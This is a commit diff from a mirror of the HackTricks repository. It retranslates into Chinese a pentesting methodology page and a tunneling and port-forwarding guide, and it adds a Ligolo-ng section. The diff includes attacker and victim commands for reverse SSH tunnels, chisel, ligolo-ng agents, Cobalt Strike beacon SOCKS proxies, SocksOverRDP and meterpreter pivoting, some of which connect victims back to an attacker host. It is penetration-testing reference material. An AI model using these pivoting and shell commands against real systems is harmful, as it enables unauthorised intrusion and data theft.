mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 15:41:34 +00:00
Translated ['generic-methodologies-and-resources/pentesting-methodology.
This commit is contained in:
parent
c8b5fc250b
commit
f2f3aa355d
2 changed files with 59 additions and 23 deletions
|
@ -17,7 +17,7 @@
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
如果你对 **黑客职业** 感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -29,11 +29,11 @@ _Hacktricks 标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
|
||||
### 0- 物理攻击
|
||||
|
||||
你是否对想要攻击的机器有 **物理访问** 权限?你应该阅读一些关于 [**物理攻击的技巧**](../hardware-physical-access/physical-attacks.md) 和其他关于 [**逃避 GUI 应用程序**](../hardware-physical-access/escaping-from-gui-applications.md) 的内容。
|
||||
你是否对想要攻击的机器有 **物理访问权限**?你应该阅读一些关于 [**物理攻击的技巧**](../hardware-physical-access/physical-attacks.md) 和其他关于 [**从 GUI 应用程序逃脱**](../hardware-physical-access/escaping-from-gui-applications.md) 的内容。
|
||||
|
||||
### 1 - [发现网络中的主机](pentesting-network/#discovering-hosts)/ [发现公司的资产](external-recon-methodology/)
|
||||
|
||||
**根据** 你进行的 **测试** 是 **内部测试还是外部测试**,你可能会对查找 **公司网络中的主机**(内部测试)或 **在互联网上查找公司的资产**(外部测试)感兴趣。
|
||||
**根据**你进行的 **测试** 是 **内部测试还是外部测试**,你可能会对查找 **公司网络中的主机**(内部测试)或 **在互联网上查找公司的资产**(外部测试)感兴趣。
|
||||
|
||||
{% hint style="info" %}
|
||||
请注意,如果你正在进行外部测试,一旦你成功获得对公司内部网络的访问,你应该重新开始本指南。
|
||||
|
@ -50,18 +50,18 @@ _Hacktricks 标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
|
||||
### **4-** [搜索服务版本漏洞](search-exploits.md)
|
||||
|
||||
一旦你知道哪些服务在运行,可能还有它们的版本,你就需要 **搜索已知的漏洞**。也许你会运气好,找到一个可以让你获得 shell 的漏洞...
|
||||
一旦你知道哪些服务在运行,可能还有它们的版本,你就必须 **搜索已知的漏洞**。也许你会运气好,找到一个可以让你获得 shell 的漏洞...
|
||||
|
||||
### **5-** Pentesting 服务
|
||||
|
||||
如果没有任何运行服务的花哨漏洞,你应该寻找 **每个运行服务中的常见错误配置**。
|
||||
|
||||
**在本书中,你将找到对最常见服务的渗透测试指南**(以及其他不太常见的服务)。请在左侧索引中搜索 **_**PENTESTING**_ **部分**(服务按其默认端口排序)。
|
||||
**在本书中,你将找到一个关于渗透测试最常见服务的指南**(以及其他不太常见的服务)。请在左侧索引中搜索 **_**PENTESTING**_ **部分**(服务按其默认端口排序)。
|
||||
|
||||
**我想特别提到** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **部分(因为这是最广泛的一部分)。**\
|
||||
此外,这里还有一个关于如何[ **查找软件中的已知漏洞**](search-exploits.md)的小指南。
|
||||
|
||||
**如果你的服务不在索引中,请在 Google 上搜索** 其他教程,并 **告诉我你是否希望我添加它。** 如果你 **在 Google 上找不到任何东西**,请进行 **自己的盲目渗透测试**,你可以从 **连接到服务、模糊测试并读取响应**(如果有的话)开始。
|
||||
**如果你的服务不在索引中,请在 Google 上搜索** 其他教程,并 **告诉我你是否希望我添加它。** 如果你 **在 Google 上找不到任何东西**,请进行 **自己的盲目渗透测试**,你可以从 **连接到服务、模糊测试并阅读响应**(如果有的话)开始。
|
||||
|
||||
#### 5.1 自动工具
|
||||
|
||||
|
@ -77,7 +77,7 @@ _Hacktricks 标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
|
||||
### **7-** [**获取 Shell**](reverse-shells/)
|
||||
|
||||
不知怎么的,你应该已经找到 **某种方式在受害者上执行代码**。然后,[在系统中可以用来获取反向 shell 的可能工具列表将非常有用](reverse-shells/)。
|
||||
不知何故,你应该找到 **某种方式在受害者上执行代码**。然后,[在系统中可以用来获取反向 shell 的可能工具列表将非常有用](reverse-shells/)。
|
||||
|
||||
特别是在 Windows 中,你可能需要一些帮助来 **避免杀毒软件**:[**查看此页面**](../windows-hardening/av-bypass.md)**。**\\
|
||||
|
||||
|
@ -89,9 +89,9 @@ _Hacktricks 标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
* [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
||||
|
||||
### **9 -** [**数据提取**](exfiltration.md)
|
||||
### **9 -** [**数据外泄**](exfiltration.md)
|
||||
|
||||
你可能需要 **从受害者那里提取一些数据**,甚至 **引入一些东西**(如特权提升脚本)。**这里有一篇** [**关于你可以用来实现这些目的的常用工具的文章**](exfiltration.md)**。**
|
||||
你可能需要 **从受害者那里提取一些数据**,甚至 **引入一些东西**(如特权提升脚本)。**这里有一篇关于你可以用来实现这些目的的** [**常用工具的文章**](exfiltration.md)**。**
|
||||
|
||||
### **10- 特权提升**
|
||||
|
||||
|
@ -117,7 +117,7 @@ _Hacktricks 标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
#### **11**.1 - 掠夺
|
||||
|
||||
检查你是否可以在主机中找到更多 **密码**,或者你是否有 **访问其他机器** 的 **权限**。\
|
||||
在这里找到不同的方法来 [**在 Windows 中转储密码**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)。
|
||||
在这里找到不同的方式来 [**在 Windows 中转储密码**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)。
|
||||
|
||||
#### 11.2 - 持久性
|
||||
|
||||
|
@ -153,7 +153,7 @@ TODO: 完成 Windows 和 Linux 的持久性后期处理
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
如果你对 **黑客职业** 感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -23,7 +23,7 @@
|
|||
|
||||
## **Bash**
|
||||
|
||||
**Host -> Jump -> InternalA -> InternalB**
|
||||
**主机 -> 跳转 -> 内部A -> 内部B**
|
||||
```bash
|
||||
# On the jump server connect the port 3333 to the 5985
|
||||
mknod backpipe p;
|
||||
|
@ -74,7 +74,7 @@ ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port
|
|||
这对于通过 DMZ 从内部主机获取反向 shell 到您的主机非常有用:
|
||||
```bash
|
||||
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
|
||||
# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
|
||||
# Note that port 443 must be open
|
||||
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
|
||||
# and change the line "GatewayPorts no" to "GatewayPorts yes"
|
||||
|
@ -148,7 +148,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
|||
|
||||
### SOCKS 代理
|
||||
|
||||
在 teamserver 中打开一个端口,监听所有接口,以便可以用来 **通过 beacon 路由流量**。
|
||||
在 teamserver 中打开一个端口,监听所有可以用来 **通过 beacon 路由流量** 的接口。
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
|
@ -174,7 +174,7 @@ To note:
|
|||
### rPort2Port local
|
||||
|
||||
{% hint style="warning" %}
|
||||
在这种情况下,**端口在beacon主机中打开**,而不是在团队服务器中,**流量发送到Cobalt Strike客户端**(而不是团队服务器),然后从那里发送到指定的主机:端口
|
||||
在这种情况下,**端口在beacon主机上打开**,而不是在团队服务器上,**流量发送到Cobalt Strike客户端**(而不是团队服务器),然后从那里发送到指定的主机:端口
|
||||
{% endhint %}
|
||||
```
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
|
@ -207,6 +207,42 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
|
|||
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
|
||||
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
|
||||
```
|
||||
## Ligolo-ng
|
||||
|
||||
[https://github.com/nicocha30/ligolo-ng](https://github.com/nicocha30/ligolo-ng)
|
||||
|
||||
**代理和代理使用相同的版本**
|
||||
|
||||
### 隧道
|
||||
```bash
|
||||
# Start proxy server and automatically generate self-signed TLS certificates -- Attacker
|
||||
sudo ./proxy -selfcert
|
||||
# Create an interface named "ligolo" -- Attacker
|
||||
interface_create --name "ligolo"
|
||||
# Print the currently used certificate fingerprint -- Attacker
|
||||
certificate_fingerprint
|
||||
# Start the agent with certification validation -- Victim
|
||||
./agent -connect <ip_proxy>:11601 -v -accept-fingerprint <fingerprint>
|
||||
# Select the agent -- Attacker
|
||||
session
|
||||
1
|
||||
# Start the tunnel on the proxy server -- Attacker
|
||||
tunnel_start --tun "ligolo"
|
||||
# Display the agent's network configuration -- Attacker
|
||||
ifconfig
|
||||
# Create a route to the agent's specified network -- Attacker
|
||||
interface_add_route --name "ligolo" --route <network_address_agent>/<netmask_agent>
|
||||
# Display the tun interfaces -- Attacker
|
||||
interface_list
|
||||
```
|
||||
### 代理绑定和监听
|
||||
```bash
|
||||
# Establish a tunnel from the proxy server to the agent
|
||||
# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attacker
|
||||
listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
|
||||
# Display the currently running listeners on the agent -- Attacker
|
||||
listener_list
|
||||
```
|
||||
## Rpivot
|
||||
|
||||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||
|
@ -317,10 +353,10 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||
```
|
||||
## SocksOverRDP & Proxifier
|
||||
|
||||
您需要拥有**系统的 RDP 访问权限**。\
|
||||
您需要拥有**系统的RDP访问权限**。\
|
||||
下载:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 此工具使用 Windows 的远程桌面服务功能中的 `Dynamic Virtual Channels` (`DVC`)。DVC 负责**在 RDP 连接上隧道数据包**。
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 该工具使用Windows的远程桌面服务功能中的`Dynamic Virtual Channels`(`DVC`)。DVC负责**在RDP连接上隧道数据包**。
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
在您的客户端计算机上加载**`SocksOverRDP-Plugin.dll`**,方法如下:
|
||||
|
@ -328,7 +364,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **受害者**,我们应该收到一个 **提示**,说明 **SocksOverRDP 插件已启用**,并且它将 **监听** 在 **127.0.0.1:1080**。
|
||||
现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **victim**,我们应该收到一个 **prompt**,提示 **SocksOverRDP 插件已启用**,并且它将 **listen** 在 **127.0.0.1:1080**。
|
||||
|
||||
通过 **RDP** 连接并在受害者机器上上传并执行 `SocksOverRDP-Server.exe` 二进制文件:
|
||||
```
|
||||
|
@ -340,7 +376,7 @@ netstat -antb | findstr 1080
|
|||
```
|
||||
现在您可以使用 [**Proxifier**](https://www.proxifier.com/) **通过该端口代理流量。**
|
||||
|
||||
## 通过 Proxifier 代理 Windows GUI 应用程序
|
||||
## 代理 Windows GUI 应用程序
|
||||
|
||||
您可以使用 [**Proxifier**](https://www.proxifier.com/) 使 Windows GUI 应用程序通过代理进行导航。\
|
||||
在 **Profile -> Proxy Servers** 中添加 SOCKS 服务器的 IP 和端口。\
|
||||
|
@ -366,8 +402,8 @@ Domain CONTOSO.COM
|
|||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
现在,如果你在受害者的**SSH**服务上设置监听端口为443。你可以通过攻击者的2222端口连接到它。\
|
||||
你也可以使用一个连接到localhost:443的**meterpreter**,攻击者在2222端口监听。
|
||||
现在,如果你在受害者的**SSH**服务上设置监听端口为443。你可以通过攻击者的端口2222连接到它。\
|
||||
你也可以使用一个连接到localhost:443的**meterpreter**,攻击者在端口2222监听。
|
||||
|
||||
## YARP
|
||||
|
||||
|
@ -437,7 +473,7 @@ ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.1
|
|||
```
|
||||
### ptunnel-ng
|
||||
|
||||
[**从这里下载**](https://github.com/utoni/ptunnel-ng.git).
|
||||
[**从这里下载**](https://github.com/utoni/ptunnel-ng.git)。
|
||||
```bash
|
||||
# Generate it
|
||||
sudo ./autogen.sh
|
||||
|
@ -487,7 +523,7 @@ chmod a+x ./ngrok
|
|||
```
|
||||
#### 嗅探 HTTP 调用
|
||||
|
||||
*对 XSS、SSRF、SSTI 等有用*
|
||||
*对 XSS, SSRF, SSTI 等有用*
|
||||
直接从 stdout 或在 HTTP 接口 [http://127.0.0.1:4040](http://127.0.0.1:4000)。
|
||||
|
||||
#### 隧道内部 HTTP 服务
|
||||
|
|
Loading…
Reference in a new issue